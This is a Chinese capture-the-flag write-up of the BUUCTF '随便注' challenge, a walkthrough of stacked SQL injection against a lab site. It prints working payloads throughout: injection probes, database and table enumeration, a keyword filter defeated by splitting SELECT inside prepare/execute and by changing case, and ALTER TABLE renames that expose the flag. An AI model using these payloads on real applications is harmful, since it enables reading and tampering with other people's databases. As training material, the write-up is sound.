BUUCTF-Web-[强网杯 2019]随便注

    打开题目环境,界面如下:

    BUUCTF-Web-[强网杯 2019]随便注 - 图1

    提交参数,正常返回数据:

    BUUCTF-Web-[强网杯 2019]随便注 - 图2

    提交1‘,出现报错:

    1. error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

    应该是双引号注入,奈何手工注入水平有限,只能使用sqlmap跑了。打开sqlmap

    python3 sqlmap.py -u http://3ee310b4-c31a-4cff-b9fc-89923494ab46.node3.buuoj.cn/?inject=1 --dbs -v 3
    

    结果如下:

    available databases [1]:
    [*] supersq
    

    后来尝试,发现不行。查看大佬writerup,发现是堆叠注入。解题步骤如下:

    1.探测注入:

    1'   报错
    1'#  正常且为True
    1' and 1=1#  正常且为True
    1' and 1=2#  正常且为False
    

    可以得知存在注入,并且参数使用单引号闭合。

    2.尝试获取列数

    1' order by 1#
    1' order by 2#
    1' order by 3#  报错
    

    得出列数为2

    1. 尝试获取数据库名,用户等基本信息

    结果提示

    return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
    

    这里过滤了select,也没有发现绕过select的地方(大小写,加注释)。

    4.通过测试发现存在堆叠注入,显示尝试爆出库名

    -1';show databases#
    

    结果如下:

    array(1) {
      [0]=>
      string(11) "ctftraining"
    }
    
    array(1) {
      [0]=>
      string(18) "information_schema"
    }
    
    array(1) {
      [0]=>
      string(5) "mysql"
    }
    
    array(1) {
      [0]=>
      string(18) "performance_schema"
    }
    
    array(1) {
      [0]=>
      string(9) "supersqli"
    }
    
    array(1) {
      [0]=>
      string(4) "test"
    }
    

    5.爆表名

    -1';show tables#
    

    结果如下:

    array(1) {
      [0]=>
      string(16) "1919810931114514"
    }
    
    array(1) {
      [0]=>
      string(5) "words"
    }
    

    6.爆字段

    -1';desc `1919810931114514`#
    -1';desc `words`#
    
    # 也可以用以下方式
    -1';show columns from `1919810931114514`#
    -1';show columns from `words`#
    
    # 注意,以上表名要加反引号
    

    结果如下:

    array(6) {
      [0]=>
      string(4) "flag"
      [1]=>
      string(12) "varchar(100)"
      [2]=>
      string(2) "NO"
      [3]=>
      string(0) ""
      [4]=>
      NULL
      [5]=>
      string(0) ""
    }
    

    7.查数据

    上一步我们可以得知flag存在于supersqli数据库中的1919810931114514表的flag字段。

    接下来要读取此字段内的数据,我们要执行的目标语句是:

    select * from `1919810931114514`;
    

    这里需要绕过select的限制,我们可以使用预编译的方式。

    预编译相关语法如下:

    set用于设置变量名和值
    prepare用于预备一个语句,并赋予名称,以后可以引用该语句
    execute执行语句
    deallocate prepare用来释放掉预处理的语句
    

    最终payload如下:

    -1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
    
    拆分开来如下
    -1';
    set @sql = CONCAT('se','lect * from `1919810931114514`;');
    prepare stmt from @sql;
    EXECUTE stmt;
    #
    

    结果为:

    strstr($inject, "set") && strstr($inject, "prepare")
    

    这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。

    -1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
    
    拆分开来如下:
    -1';
    Set @sql = CONCAT('se','lect * from `1919810931114514`;');
    Prepare stmt from @sql;
    EXECUTE stmt;
    #
    

    最终获得flag。

    array(1) {
      [0]=>
      string(42) "flag{86eda795-1fad-43ac-b5c1-a2bed5d40430}"
    }
    

    方法2:绕过select还有第二个方法,更改表名列名

    由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:

    select * from words where id = '';
    

    我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。

    修改表名和列名的语法如下:

    修改表名(将表名user改为users)
    alter table user rename to users;
    
    修改列名(将字段名username改为name)
    alter table users change uesrname name varchar(30);
    

    最终payload如下:

    1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
    
    拆分开来如下
    1';
    alter table words rename to words1;
    alter table `1919810931114514` rename to words;
    alter table words change flag id varchar(50);
    #
    

    然后使用1' or 1=1#即可查询出flag